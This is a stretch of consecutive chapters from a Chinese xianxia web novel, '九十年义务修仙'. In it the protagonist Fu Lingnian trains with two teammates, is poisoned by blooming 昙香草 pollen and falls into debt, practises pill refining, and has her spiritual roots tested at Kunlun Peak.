后来伏令年跟温季才换了个位,依旧没起到什么好的效果。两个小朋友气场不和,练着练着就会吵起来,碰到一起压根没法训练。 无奈之下,心理成年人伏令年只好继续当两个人的夹心。当然,前提是两个小朋友得听她指挥。 这么磨合下来,三人小队总算是勉勉强强有了点默契,不至于一个往东一个往西,恨不得把伏令年给分尸了似的。 三人有了配合,情况就好了许多。温季才身法很好,感官敏锐,与伏令年也很有默契。 有他侦查和反应,三人能够及时避开大多数突发的剑气。 从承言走的则是近战暴力剑修的路子,他剑法比伏令年和温季才好了不知道多少。如果实在躲不过,就由他顶在前头,打头阵破解敌人的剑招。 至于伏令年自己……她在小队中的任务,就是掌控住这两个小朋友,该跑的时候跑,该莽的时候莽。要问伏令年有什么战斗技巧?都说了她是个文明人!文明人是不打架的。 不过今天,出了些意外。 今天动手“培训”他们三人的是严志源,诸烨和另一位师兄。几人的剑招都走大开大合的路子,充满压迫感。三人小队一路被逼到边缘,不知道是谁脚上打滑,失去平衡往瀑布下摔落。几人就像一串葫芦,连着往下坠,被水浸了个透心凉。 好不容易从水里爬出来,三人借了三位师兄师姐的外衣,在瀑布中段的一个洞窟里稍作修整。伏令年和温季才受不了身上湿漉漉黏答答的感觉,脱了衣服进行全人工烘干工程。 至于从承言,他早就满脸通红地跑到外头去了。 两人折腾了好一会,这才把衣服给弄干了。虽然有些地方被灼黑了一些,不过这并不重要。只要能遮蔽身体,那它就是一件好衣服,至于好不好看,那是有钱人才需要考虑的事情。 换好了衣服,伏令年想着从承言穿这件湿衣服在外面吹冷风有些可怜,就打发温季才去喊人。 “你为什么不去。”温季才瘫在地上,不想动。 “我腿刚刚摔伤了,疼。”伏令年矫揉造作地抱着腿开始装伤。 “我腰受伤了,也疼~”温季才也开始装病。 伏令年放下了自己的“伤腿”,换上了情深意切的神情:“我这是在培养你们的队友情,明白吗?” 温季才撇了撇嘴,正当伏令年以为他要起身喊人时,就见他双手做喇叭状,朝外头喊:“从承言——你可以进来了——” 奇异的是,他的声音竟没有在洞窟间回荡。就好似一缕微风,吹往洞外。 伏令年有些诧异,感觉自己又学到了新知识。 “怎么做到的?” “嘿嘿。”温季才得意地笑了一声:“教你你也学不会,风灵根才能做到哦。” “ 说不定我以后也能多长出一条风灵根呢。” “得了吧。”温季才不信:“你这应该是当时用的测灵石等级太低,才没测出。要真能长出一条灵根,那你可以研究自己,然后成为修真界最强医修。” 伏令年却很确定自己这条火灵根是“长”出来的,不过她也没有多说,毕竟这可能涉及到系统。 讲到医修,伏令年突然记起了一件事:“对了,你今晚得帮我打掩护,我要去一趟青叶峰。” “做什么?”温季才懒洋洋地翻了个身,随口问道:“找那个楚老头?” “嗯。”伏令年应了一声,道:“我之前不是跟你讲过,他药田里种了株昙香草,估摸着近日就会开放,所以我最近每晚都要去一趟。” “唔……好吧,虽然不太明白你在执着什么。”温季才并不在意灵植,他对灵植的所有理解,都基于它们所能带来的灵石和收益。 “你没有一颗浪漫的心。”伏令年笑了一声,不过她也不是冲着浪漫去的。 昙香草其实更像是一种花,和伏令年以前世界的昙花很相似。它开花的时间极其短暂,夜里开放,早晨凋零。 传闻它开花之时,会散发出一种奇异的香气,有助于凝神静气。制成药物服用,有镇静的功能,会使人昏睡。若是凡人不幸服用后没得到有效的救治,就会一直睡到死去。 伏令年要做的,就是记录这昙香草开放和凋零的全过程,以完成《灵植大全》的其中一部分记录。 说到这个,还真要感谢那位“楚老头”。 若不是当年被他扣留下来打工,伏令年还真没法那么快完成《灵植学大全》第一篇。 楚老头是独自居住在青叶峰山脚的一个奇怪老人,他脾气古怪,会不由分说地把闯入他灵田的人痛骂一顿,并强迫其为自己打工。 至于伏令年为什么会知道……因为她就是那个闯入他灵田的人。 伏令年当时出场的方式还十分独特,她整个人挂在一只仙鹤的脖子上,并与它一块摔进了屋子旁晾晒着的灵植里。 事情的起因是伏令年第一次炼丹成功:当时的场景异常惨烈——伏令年脸颊被火熏得灰扑扑的。手上因为操作不当被扎了几个口子,鲜血滑落进炼丹炉里。 但那都不是重点,在那一刻,她眼中只有那颗长得有些丑陋,却散发着香气的丹药。 她看得实在太专注,以至于没发现有一只仙鹤自头顶盘旋落下。而当她看到那只不怀好意的仙鹤时,为时已晚。 仙鹤的鸟喙已经伸入丹炉,一口将丹药叼进口中。 伏令年为了拯救自己的丹药,不知哪来的力气,拽着仙鹤的脖子不肯放手,就这么被仙鹤带着空降到青叶峰。 到现如今,她还是没打听清楚楚老头究竟什么身份。只知道他姓楚,培养着几块种着珍奇异草的灵田,身边还有只贪食的可恶仙鹤! 他的灵田附近应该是施了什么法术,伏令年出入这里都需要仙鹤引路,否则就会在山路间迷失。 这是楚老头亲口跟她说的,伏令年怀疑他是不是看出了自己对灵田中灵植的垂涎,在借此警告她不要想着干坏事。 除了老是被骂,干活很累以外,伏令年在楚老头那过得倒是有滋有味。她经 7. 开花 《九十年义务修仙》全本免费阅读 第五天夜里,伏令年依旧乘着千云前往楚老头的灵田。 她今天已经没有力气看风景了,浑身酸痛,脑袋也昏昏沉沉的,恨不得倒头就睡。 千云照常陪着伏令年等昙香草开花。不过它今晚似乎有些焦躁不安,时不时用脑袋去拱伏令年,每每把昏昏欲睡的她吓一跳。 于是,在这么一个和以往没什么区别的夜晚,伏令年终于等到了花开。 淡紫色花托包裹着洁白的花朵和浅金色的花蕊,雪白的花瓣一点一点张开。起先是缓慢的,缕缕异香在空气中萦绕。花朵微微颤动着,忽的以惊人的速度怒放了,一朵接着一朵,似月光洒落大地。 短短一炷香的时间,小小的潭中岛内已经布满了雪白色的花朵。 伏令年愣愣地望着面前的美景,好一会才回过神来,她猛地起身,环视周围,吃惊地发现三丛昙香草居然在同一时间开放了。 香味越来越浓,伏令年拿出早已经准备好的纸笔,开始整理记录。 比起直接在神识海中输入系统,她还是更喜欢先在纸上记录。 香味,色泽,花蕊形状与颜色,花瓣的触感……伏令年写着写着,身体突然摇晃了一下,失去平衡跌坐在地上。 笔尖一顿,在纸张上洇染出一道墨痕。 伏令年的脑子现在很迟钝,但本能让她察觉到一些不对劲。她目光挪移,落在了自己右侧小腿上。 上面有一道今天训练留下的创口,只能算是小伤,她就没有怎么处理。 不知道怎么的,伏令年觉得这道伤口是那样红。脚旁盛开着的白色花朵,是那样的白。 伏令年现在十分的平静,平静到一种诡异的程度。 她脸上没有任何多余的表情,只是颤抖着手,在本子上写下最后一行字:昙香草开放之时,香气有镇静麻痹的效果。伤口接触到花粉(或吸入过多花粉)会导致昏迷。 这里暂时只有她一个样本,伏令年只能记录下大概的猜测。 写完后,她将本子和笔放回怀里,挪动着远离昙香草生长的位置。然后眼睛一闭,身体后仰,安详地昏了过去。 伏令年这一觉睡的十分香甜,没有寒风刮过门窗的声响,没有早晨剑修们起床晨练的嘈杂,也没有梦中回到故乡,早晨起来却仍在他乡的怅然若失。 睡觉,真是一件美好的事情。 如果睁开眼时面前不是一张大脸就更加美好了。 “温季才,她醒了!”从承言见伏令年眼皮微颤,侧头喊了一句。 随即,伏令年的视线中就出现了另一张大脸。两张大脸靠在一起,挡住了阳光。 总感觉他们下一秒就会说出:“你醒啦,手术很成功!”这样的话。 伏令年又缓了一会,才逐渐找回了些记忆。正当她想张口说些什么时,就见温季才朝她竖了个中指,问:“能看清我的手吗。” 回应他的是伏令年的一脚飞踹。 “哇呜!”温季才离得太近,没能躲开,一屁股坐到了地上:“那个老头没说中毒之后还会攻击人啊!她是不是发狂了,我们要不要跑。” “没有,他只是说中了毒后身体会提不起力气,比较虚弱。”从承言这老实孩子居然还当真了,他目光变得严肃,似乎只要一发现伏令年异动,就会动手制服她。 伏令年勉强坐起,她刚刚踹的那一脚其实没用什么力气,压根伤不到温季才分毫,只是单纯对他的手势表示愤怒罢了。 虽然按理来说这个手势在修仙界并没有那种含义,但伏令年总有种带坏小孩的心虚感。于是,她决定做些补救:“不要随便对别人做那个手势。” “为什么?”温季才问。 “我之前记错了,”伏令年脸不红心不跳地说:“其实这是个骂人的手势,不能随便乱用的。” “所以你之前就是在骂我!”温季才炸毛。 “就一次,你都竖两次中指了。” “我那是真心在夸你!” “我也是在夸你…你别瞪着我。好吧…那我给你竖两个大拇指补回来。” 从承言有些迷茫地看着两人突然开始进行幼稚的拌嘴,心里默默地记住了那两个手势。 打闹了一会,伏令年开始询问正事。 他们现在正处于一片绿荫当中,周遭已没了灵田和水潭。想来她昏迷之后,有人挪动了她的位置。 省略了温季才经过加工的一堆词汇,总结来说就是——伏令年昏迷了一个晚上,第二天早上也没有回去。 温季才拉着从承言给她打了掩护,中午结束训练,两人就御剑飞来青叶峰找她了。 “我们当时看见了一只大鸟,跟着它飞到了这里。就看见有一个老头突然拖着你走了出来,把你丢在了这片空地上。” 温季才一脸悲愤:“我们当时以为你偷东西被打晕丢出来了,正准备给你报仇呢!” 伏令年觉得自己良好少年的形象被玷污了。她瞪了温季才一眼,转头看向从承言。 从承言摇头,眼神闪躲:“我没觉得你是因为偷东西被打晕丢出来的……真的……” “……我不是问你这个。”伏令年有些无奈:“那个人跟你们讲了什么?呃……他骂我的内容你就不用重复了。” “嗯…”从承言想了一会,有些断续地重复:“他说你吸花粉中毒了…浪费了他一颗净髓丹…他要…请你每天都去他那里帮忙干活…直到你能还他一颗净髓丹为止。” 看得出来,他已经很努力地修改了楚老头的言辞,使内容变得柔和。毕竟她用头发丝都能想到,楚老头口中绝不会出现“请”“帮忙”这样的字眼。 “等等…什么丹?!” “净髓丹。” 从承言不了解炼丹,只是从伏令年逐渐灰败的脸色中感受到了这丹药的不凡。 温季才也不懂炼丹,但他为了赚灵石也跟着伏令年看过很多书,很快就想到了相关的内容。 “四品丹药,一颗市场价五十块中品灵石。”一块中品灵石相当于一百块下品灵石。 “也就是……五千块下品灵石。” 突然…负债累累了呢。 …… 温季才发现,从欠下巨款起,伏令年的状态就有些不对头。 他和伏令年原本都是“主逃派”,从承言则是主战派。训练时从来都是从承言打头阵的,他和伏令年跟在后头负责叫好。 但最近,三人小队又呈现出了不一样的队形。伏令年不知道怎么想的,也跟着从承言往前冲。温季才落在后头,不知所措。 除此之外,伏令年还不知道跟谁学了一招“火焰剑”,平均一个星期得烧坏一把训练用的普通铁剑。火焰燃起时,整把剑都涨大了一倍,别说敌人了,队友看了都得退避三舍。 而她生猛的时间也是断断续续的,早上跟吃了兴奋丹一样,举着把火焰巨剑劈砍挥砸,下午就虚弱得走不动路,还得靠温季才搀着。 又是一天训练结束,伏令年和温季才无精打采地靠坐在一起,眼巴巴地等着从承言烤肉。 “小言言…你好了没,我好饿。” 三人中从承言年龄最小,又最经不起逗。两个坏心眼的家伙老喜欢用这个称呼逗他。 温季才话音刚落,伏令年就看见从承言手臂抖了抖,拳头微微捏紧。 自半个月前两人一同前往青叶峰找伏令年后,他们之间的关系突然就缓和了,成为能勾肩搭背的好兄弟。当然,会主动勾肩搭背的只有温季才。 伏令年一开始觉得从承言是不习惯和 8. 灵蕴花 《九十年义务修仙》全本免费阅读 完成了楚老头交给她的任务,伏令年寻了块石头,开始入定炼气。 两种属性不同的灵力在经脉中以一种特定的规律循环往复,不断吸收着周围空气中的灵气,并将其转化为灵力。 原本因训练而干涸的经脉逐渐变得充盈,周围的虫鸣鸟叫似乎消失了。 伏令年能清晰听见自己血液流动与心脏跳动的声响。在灵力恢复的同时,它们仿佛也更加有活力。 炼气是一种十分基础的修炼方式,自引气入体后,修仙者第一个便要学习炼气。 所谓炼气,便是将外界驳杂的灵气有选择地纳入体内,再在体内将其炼化提纯,为己所用。 炼气的基础,与修仙者的灵根有关。 在修仙界中,有两大不同的观点。 一些人认为,单灵根者的天赋最高。体内的灵力越纯净,便越容易炼化由外界吸收来的灵气。他们能更好地掌握自身的灵力,突破境界时不易走火入魔,修炼速度也更快。 而另一些人认为,多灵根者天赋更佳。他们能一次性吸收炼化更多灵力,同境界内灵根越多者灵力越雄厚。多灵根者的修炼速度慢,但总要强于同境界者,且总能达到更高的境界。 总的来说,一种以质取胜,一种是量变引起质变。 因此,灵根多少究竟是好还是坏,在修仙界一直没有定论,要看所有者本身的悟性以及利用。 多长出来的这条火灵根对于伏令年来说,仿若是久旱逢甘雨。 众所周知,要想练一手好丹,就要控得一手好火。 “灵火”,则是炼丹师们人手必备的技能。有了它,炼丹师才能提炼出灵植中的精华用于炼制丹药。 灵火愈纯净,炼化能力便越强。 与普通的火有所不同,灵火可由任何灵力转化,不局限于火灵力。因此,所有属性的灵力都可以转化为灵火。但有转化,就必定有所消耗。 昔日伏令年还是一个小小的炼气期修士,灵力本来就少的可怜。炼丹时还需要千辛万苦将其转化成灵火,着实是繁杂又折磨。 如今多了一条火灵根,能一次性储存的灵力增加,也就能一定程度上抵消转化带来的消耗。 神识操控着灵力持续运转,伏令年捕捉周围的灵气,并将其转化为自身的灵力。 看着灵力在经脉中逐渐壮大,她有种在玩贪吃蛇的感觉。 轻吐一口气,感到丹田中灵力充盈,伏令年有些恋恋不舍地睁开了双眼。 在这个没有手机的世界,她觉得修仙版“贪吃蛇”还蛮有意思的——看着“蛇身”壮大,会有种精神和身体的双重满足感。 体内的火灵力已经达到饱和状态,伏令年先前的疲倦一扫而空,甚至还生出了些兴奋的情绪,仿佛还能扛起锄头翻一块灵田。 伏令年发现,只要她体内的火灵力处于饱和状态,整个人的情绪就会变得高涨,有种吃了兴奋丹的感觉。 脑子里无时无刻都有个小人在疯狂地呐喊:“战斗!战斗!” 伏令年晃了晃脑袋,强压住内心的燥热。 这难道是火灵根拥有者本身属性的影响? 可从承言也是火灵根,却没见他有类似的状况。要说兴奋,他练剑战斗的时候确实很兴奋,但也仅限于剑修战斗状态下的正常情况,没有伏令年那么夸张。 伏令年一边在心中琢磨,一边摆好了手旁的材料。 这是她每晚必做的事情之一,炼丹。 想要炼好丹,就必须多次尝试,让每一个操作的步骤、使每一株灵植的分量都烂熟于心。 不过今日与以往有些不同,以往她都是只是练习灵力转化灵火、控制灵火的大小、以及模拟投放灵植,空烧锅但不放水。今天却是实打实打算尝试炼制二品丹。 熟练将灵植分类处理后,伏令年食指轻扣丹炉,指尖燃起一团橘黄色的火焰,火焰跳跃着,眨眼间便膨大了一倍,将她的大半脸庞照亮。 伏令年今天要炼制的,还是最基础的还春丹,只不过比之前提高了一个品阶。 这是她最熟悉的丹药品类。 从前,她炼制的第一颗一品丹药就是还春丹,最后也是靠炼制一品还春丹大成,才完成了系统任务。 还春丹可以说是修仙界家喻户晓的丹药,可内外服。内服可消炎化淤,外服可止血消肿,治跌打损伤。 据书上所写,品阶更高的还春丹吃了还能起到恢复灵力的效果,是一种能在战斗或危机中扭转局面的丹药。 二品还春丹与一品还春丹所需要的灵植没有任何区别。伏令年熟练的将不同的灵植分类并分批倒入丹炉中,一边输入火灵力控制着灵火,另一边往丹炉内输入木灵力以提纯灵植的草木精华。 待到时机成熟,伏令年抓起脚旁的匕首,在指尖上划了一下。血珠争先恐后地从创口处涌出,滴入丹炉之中,刹时便没入灵植之中。 伏令年不敢说系统给的书有多全面,但能说它十分有用。系统给的书中提供了一些宗门正规书中没讲过的偏门方法。 譬如炼丹时,除了几样主材料,其余的辅助材料并不是不可替代的。 拿还春丹举例,它的辅助材料金银草是一种调和剂,能使灵力更好的与灵植融合,发挥其药效。 而灵力,正是来自于炼丹者本身。 要说有什么能够最好的调和灵力与灵植,那必然就是炼丹者本人的血液。 伏令年知道这个方法后,为了省钱不买辅助材料,自己练习时都只用自己的血作代替——效果非常的好! 当然啦,如果丹药要卖给别人,伏令年还是会老老实实的用原材料做。毕竟食品安全最重要,要是偷工减料给别人吃出问题了,那她岂不是得不偿失。 丹炉内的丹药逐渐成型,散发出阵阵异香,伏令年感到自己经脉中的灵力正在飞快地流逝,这种感觉比炼制一品丹时更为强烈。 不过今非昔比,如今她丹田经脉充盈,有大把灵力可以挥霍。直至最后一刻丹药成型,伏令年依然觉得犹有余力。 掀开丹炉的盖子,一股苦香伴着白烟升腾,烟气过后,五颗指节大小的丹药静静躺于炉底。 < 9. 四境大会 《九十年义务修仙》全本免费阅读 天刚放亮,叶绾就敲响了伏令年的房门。 “小年,醒了吗?” “我马上好!”伏令年闭了闭眼睛,腰腹用力,从床上弹坐而起。她其实早就醒了,以前这个点,她都已经和温季才他们集合准备训练了。 昨天炼丹耗费的灵力有些多,伏令年看天色太晚便没有重新入定炼气。 虽然在不入定的情况下,灵力也会自行运转吸收转化灵气。但速度很慢,只能说是聊胜于无。 因此,伏令年今天精神状态不是很好,就赖了一会床。 想着今日要去内门弟子所在的昆仑峰,伏令年翻箱倒柜找了件算得上整洁的外衣穿上。 她所有的衣服都是昆仑宗统一发放的外门服饰,原本是白加灰的色调,经过这几年的摸爬滚打后,就成了灰扑扑的模样,洗也洗不干净。 两分钟搞定洗脸漱口,伏令年一手扎着头发,另一只手推开了房门。 今天的天气好像更冷了,阳光也失去了它应有的温度。伏令年呼出一口白气,两只手一起调整了一下发绳的松紧。 “最近又没休息好?”叶绾打量了眼伏令年的脸色,皱了皱眉。她还记得伏令年前段时间那副鬼样子,眼底挂着浓浓的黑眼圈,眼白还泛着血丝,不知道的还以为她一个星期没睡觉了。问她也只是含含糊糊地说自己没休息好。 叶绾也算是看着伏令年长大的,一直把她当自己亲妹妹看待。近几年来,叶绾总觉得伏令年有了自己的小秘密,心里有些不是滋味。 “不是。”伏令年刚一说完,就打了个哈欠。她也不觉得心虚:“走吧师姐。” 负责带她去内门的是严师兄和叶师姐。叶绾担心伏令年御剑不熟练,打算带着她一起,却被严志源阻止。 “若是自行御剑飞一段距离都无法做到,她如何能参加此次考核?” 叶绾还是有些担忧——宗门内出现过太多太多刚筑基修士御剑飞行出事受伤的先例。 “我可以的。”伏令年从腰间取下一把已经被火焰灼烧得有些发黑的铁剑。 别的伏令年不敢担保,但要论御剑飞行,她还是有两把刷子的。 毕竟以前整天逃课去别的峰溜达,交通方式就是御剑飞行,很难不熟练。 昆仑峰是整个宗门的主峰,所有的内门弟子都有资格进入昆仑峰学习或交接日常任务。 昆仑峰和外门所在的山头离得不算远,越靠近昆仑峰,灵气便越浓郁。 体内蛰伏的灵力似乎被唤醒了,自行运转着捕捉周围的灵气。 伏令年开始一心二用,一边御剑飞行,一边分出心神去引导经脉吸收转化四周的灵气。 当三人在昆仑峰山脚落下时,伏令年已经积蓄起了一小部分灵力。 “我们要走上去。”严志源解释到:“这里有一个剑阵,会释放出威压,境界越高受到的威压越大。每位剑修到此,都需要一步一步走上去,磨砺意志。” 伏令年抬起脑袋,往台阶上看,一眼望不到尽头——她忍不住皱起了眉。 “那掌门他自己来这里的时候,也要一步一步走上去吗。” “……”这可问住严志源了,他一个外门弟子怎么会知道。 “好吧…”伏令年也不指望有人知道,她只是单纯吐槽一下:“那就等我们进了内门之后再问问。” “噗嗤。”一声轻笑。伏令年循声望去,就见到两个衣着整洁,衣袖处绣有金边的少年少女。 为首的是一位长相艳丽的少女,红唇翘起,一双丹凤眼微微上挑,正是刚刚发笑之人。 见伏令年看向她,她也没有回避,很大方地朝伏令年笑了笑:“好问题,改日我替你问问。” 她说话间,自有一种傲气。这是一种对自己能力的傲气,本身不带什么恶意…然而,伏令年敏锐察觉到了一股来自他人的恶意。 少女的身旁站着位差不多年纪的少年,衣着整洁,眉目锋锐。 在少女说话时,伏令年能感受到那位少年正毫不掩饰地审视着她。他的目光从伏令年的衣服和手中的铁剑中滑过,如同在打量一件商品。 伏令年皱了皱鼻子,也学着少年的目光,从头到尾把他给打量了一遍,且重点在他腰间的配饰以及配剑上停留了片刻。 都是好东西啊。 伏令年本来只是想回敬一下这个不礼貌的少年,却真情实感地被他的佩剑所吸引。 玉白色的剑柄上面雕刻着细致的金色纹路,看上去手感就很好。剑身虽处于剑鞘当中,使人无法窥其真容。但仅是这剑鞘,就足以让人一窥这佩剑的精致。 一定要花很多钱吧,有钱真好…穷鬼伏令年这么想着。 少年显然也察觉到了伏令年不加掩饰地打量,眼中露出明显的厌恶之意。 他皱了皱眉,把头别开,像是看到了一只恶心的虫子:“师姐,我们走吧,别在这里耽误时间了。” “知道了。”少女应答着,朝伏令年几人挥了挥手。两人沿着阶梯下行,看似没用什么力气,却很快就不见了踪影。 伏令年收回视线,望向自家师兄师姐。就看见叶绾正不断地整理着自己的衣领和袖口,严志源则无意识地摸着自己的佩剑。 “师兄…师姐?”听到伏令年喊他们,两人才算是回过神来。 三人收敛心神,缓缓往上行去。 “师姐,你很紧张?”伏令年跟叶绾相熟多年,自然能察觉到叶绾的情绪不太对。 其实在很久前,伏令年就觉得叶绾心中似乎有忧虑之事,而她的忧虑,在今天更加明显。 “你倒是一点都不紧张。”叶绾的脚步顿了顿,随即笑了一声。不过这笑意转瞬即逝,她轻声喃喃道:“为什么非得是这一回呢?” “什么?”伏令年有些搞不明白了。 “我们这次要和准内门弟子一起考核,考核结果按排名来算。”严志源一边解释,一边瞪了伏令年一眼:“你上周是不是又逃课了?” 伏令年三人自打上个月起,就是一周六天用来训练,再上一天文化课的日程。 上周的课程是古语言,内容伏令年已经自学完了。就偷偷溜去青叶峰给楚老头干活去了,自然什么都不知道。 “准内门弟子?”伏令年转移话题。 “嗯。”这次是叶绾回应:“你当年太小,可能已经不记得了。” “测灵石能测出我们是否有修行的资质,也能在一定程度上测出我们是否有天赋。” “测灵石的光芒,代表着我们灵根的属性。它的亮度,则代表我们灵根的纯净度。灵根纯度越高 10. 白玉塔 《九十年义务修仙》全本免费阅读 伏令年的反应有些大,严志源和叶绾都注意到了。 三人已经行到了一半,周围的威压越来越重,仿若剑气刮过他们的皮肤,引起阵阵刺痛感。 两人都以为伏令年是一时受不住周围的威压,才有这奇怪的反应。 叶绾见此状况,伸手给伏令年借力。伏令年也没有过多解释,她的腿因为刚刚的惊吓已经有些软了,正好借着叶绾的力往上走。 中途没再发生什么意外,三人都有自己的心事,一时间沉默异常,气氛有些压抑。 凝重的气氛被容晋卿的到来打破。 他今天依旧穿着身青纹白底的衣服,墨发束起,神采奕奕。伏令年注意到,容晋卿的腰间也挂着一块玉牌,与那少年腰间挂着的很是相似。 “好久不见。”容晋卿先是笑眯眯地寒暄了两句,然后细细打量了三人几眼:“怎么都这个表情,是在担心内门考核?” 三人已经离开了剑阵威压的范围,周身骤然一轻。被这么一压一放,连带着心情也放松了些。 伏令年已经差不多冷静下来了,她一向是个适应能力很强的人。此时已经有心情到处打量周围的环境。 同时,她心中产生了一个有趣的想法,不知道千云能不能直接飞到昆仑峰——总不能让它也一步一步走上来。 叶绾和严志源也简单和容晋卿聊了两句,伏令年很安静地站在旁边听,一时间觉得自己像个在路边等家长聊天的孩子。 “你们去干自己的事情就好,我带着她,放心。” 这更像了。 “好。”叶绾拍了拍伏令年的肩膀,叮嘱她不要胡闹后,就和严志源一同往另一个方向走了。 简直一模一样。 “孩子”伏令年目送着两人离开,她知道他们要去做什么。 灵根多少对于筑基期的修士影响并不是很大,伏令年也不是非得来测这一次。来昆仑峰的最主要原因还是严志源和叶绾要在昆仑峰领取物品,伏令年来测灵根则是顺带的。 “你觉得领了那些东西,能起到多大作用?”两人并肩走着,容晋卿突然没头没尾地问了一句。 伏令年微微一愣,抬头看向容晋卿。 她原本只以为师兄师姐是来拿一些外门日常需的必须品和月俸,但在刚刚得知内门考核变动之事后,再加上容晋卿这一问,她也有了些联想。 “如果给我们发一件仙品法器,那还是勉勉强强。”伏令年随口胡诌。 “你就想吧。”容晋卿被伏令年这异想天开的话逗笑了:“还勉勉强强?” 仙品法器是法器中顶端的存在,相当于丹药中七品往上的位阶。宗门内都不一定有几件,更别说拿出来送给外门了。 “师兄觉得有用吗?”伏令年反过来追问。 系统的任务迫在眉睫。若想要参加四境大会,想要达到金丹境界,进入内门就是至关重要的一步。 她的时间已经不多了,她需要知道更多有关这次考核的信息。 合并考核,表面上是外门得了便宜,可以免去一个流程,只需入围便能一步进入内门。 然而,这也意着近年来几乎再无外门弟子能接近内门。 而考核合并的目的,一方面是节省考核时间,提高了准内门弟子两年一考的频率。另一方面恐怕就是想找出一些有能力却未被发现的外门弟子,作为四境大会培养的人才。 这并不公平,但世界上本就没有绝对的公平。 有能力者居上,这样的考核能让一些有能力却被时间限制的人有机会走到更高处。却让能力稍逊的人寸步难行。 世界从来都讲究一个弱肉强食,先不论这是个以强者为尊的修仙世界,就是伏令年以前的世界,也有强弱高低之分。 伏令年不认为这样是绝对正确的,但她已对此早有觉悟,并不畏惧因此而要面对的困难。 “总比没有的好……你能御剑吧?” “可以。”没能从容晋卿嘴中得到详细信息的伏令年有些失望:“这里不是不能御剑吗?” “只有上山门的那一段路不行。” 容晋卿瞥了眼伏令年手里丑兮兮的剑,叹了口气:“算了,还是我带着你吧。” 他的佩剑比伏令年的铁剑要长了一截,剑身透亮,泛着寒光。在阳光的折射下,仿若一道流水在其中荡漾。 又是一把好剑,伏令年艳羡地盯着看了许久。 “这也是进内门发的吗。” “你可以想。”容晋卿带着温和的笑容,说着绝情的话。 被别人带着御剑飞行的感觉很奇妙,风好似被剑刃割裂开来,从身体两侧猎猎刮过。人立于剑上,能感受到风的吹拂,却不会被风所阻。 容晋卿御剑的速度很快,眼前景物飞闪。不过多时,场景大变,眼前豁然开朗。 白衣弟子来来往往,人的交谈声与时而响起的剑鸣交织成一片,热闹却不显杂乱。 若不是周围没有摊贩,建筑色调依旧朴素,伏令年都要怀疑自己是不是来到了凡间的集市。 “到了。”容晋卿一手收剑,一手将还在打量四周的伏令年给拎了下来:“这里是昆仑峰弟子平日交领日常任务,训练切磋的地方……你平时都不吃东西的吗?”瘦成这样。 “是啊…我穷。” 容晋卿已经见识过伏令年掉钱眼里的样子,他没有给伏令年装可怜讹灵石的机会,伸手点了点不远处那仿若由白玉砌成的高塔:“我们的目的地。” 伏令年踮脚一瞧,就见到不少人正往那塔内行去:“这里又不能御剑了吗?”离白玉塔还有一段距离,周遭却无人再御剑飞行。 “嗯。”容晋卿想了想,给伏令年多讲了几条内门弟子的门规。什么时候能御剑飞行,什么时候不能,怎么靠衣着识别不同弟子身份…… 外门弟子白灰色调,无其它标识。准内门弟子白衣作底,袖口腰部及领口有浅青色纹路。内门弟子的衣着与前者的大致外观相差不大,就是材质好些,纹路的颜色也更深些。 “不过,不同峰的内门弟子在衣着上也有区别,在青纹的基础上。还会有各自峰的标志性绣纹。例如这个…”容晋卿示意伏令年看他的袖口,除了简单的青色纹路外,还有雾蓝色的云雾状绣纹。“至于亲传弟子……” 话音未落,容晋卿突然抬起眼眸,继而垂下。 “我 11. 伤心的文同学 《九十年义务修仙》全本免费阅读 这是一间石室,石室中央放着一块约摸有伏令年脑袋大小的半透明晶石。 而在这个封闭的空间内,除了她以外,还有三个身着白衣的少男少女。她的出现并未引起几人的注意,他们正围在晶石旁,低声谈论着。 “真的没有了……什么都没有了…” 少年绝望地捂着脑袋,身体因为情绪激烈而脱力,无法控制地往下坠落。幸而身旁的同伴反应迅速,伸手搀住了他。 “别这样,师兄…”少女的声音哽咽:“会有办法的…会有办法的…你不要放弃。” “没用的…就连望月仙尊也无法改变,更别说我。”少年的声音已经十分嘶哑,好像一瞬间就苍老了:“三年了…我眼睁睁看着灵力一点一点的流逝,不需要太久……我会变成一个普通人…不…是连普通人都不如的废人。” 这是个什么情况? 正当伏令年有些进退两难时,终于有人注意到了她这个陌生人的出现。 “你是谁?!”这是另一位少年的声音,嗓音中隐含警惕,还带着些愤怒,显然把伏令年当做偷听他们讲话的小人了。 “抱歉,”伏令年有些无奈地抬了抬手,给他们看自己手上的木牌:“我是来测灵根的,方便让个路吗?” 话音刚落,就听到一阵抑制不住的抽泣声,抽泣声逐渐变大,朝嚎啕大哭的方向接近。 伏令年:? 她已经感受到另外两人愤怒且责备的目光了。 天知道是什么又刺激到了这个少年。 好在他们最后还是让出了位置,伏令年装作无事发生,用背部接受几人的注视。 面前的晶石以灰为主色调,虽是半透明的,却并不透亮。除此之外,它内部还不规则分布着些难以描述的杂质——会让强迫症抓狂的那种。好在伏令年不是强迫症,她打量了两眼,就将手放了上去。 皮肤与测灵石相触,一股寒意就如跗骨之蛆般缠绕而上。伏令年定了定心神,眼睛微闭,等待测灵石发的生变化。 等了半晌,这晶石却是毫无反应。 “嗯?”伏令年从喉咙里发出了一个疑惑的音节。 显然,疑惑的不止有她一个人。少年的哭泣声也停止了,偌大的石室内只余下几人轻微的呼吸声。 伏令年皱了皱眉,控制灵力注入测灵石内。 就见浑浊的测灵石霎时发生了变化,绿色的光芒自中央亮起,逐渐充盈至测灵石的每个部位。这是一种并不扎眼的颜色,看一眼便会让人联想起生机勃勃的春天。 有些奇怪……伏令年的眉头皱得更深。测灵石之所以可以用来为凡人测试灵根资质,就是因为它无需灵力激发,便能自行探测人体内的灵根及吸引经脉中微弱的灵力。 如今却需要她主动输出灵力,着实有些奇怪。 颜色代表灵根属性,光芒越盛,灵根越纯粹。若是毫无反应,便昭示着测灵者并无资质。 见光芒已经将晶石填满,伏令年转而催动火灵力,将其注入测灵石。光芒果然随之变化,如火焰绽裂,蔓延的速度比绿光快了不少。 测试完毕,伏令年闭了闭眼睛。她被那红绿色的光芒刺得眼睛生疼。收敛疑惑,她收回放在测灵石的手,见颜色相继褪去,便也转身打算离开。 刚一转头,就对上了几双瞪大了的眼睛。 其中一双眼睛还红彤彤的,一副马上就要哭出来的样子。 不…他已经哭出来了。 伏令年眼睁睁看着那少年又开始掉眼泪,一时间有些僵住了。她以前是个独生女,没经历过弟弟妹妹的拷打,看到亲戚家孩子哭时只有手足无措的份。更何况面前这个还是个大号的孩子,要真论外表年龄,她现在才是孩子呢。 认真考虑了一会是当做无事发生,还是用魔法打败魔法——也跟着他一起哭。沉默了一会,伏令年强行把自己荒谬的想法驱赶出脑海,目光挪移,抬步打算离开。 神识海却隐隐一动,出现了新的系统提示。 【九十年义务修仙系统提示您】 【触发任务】 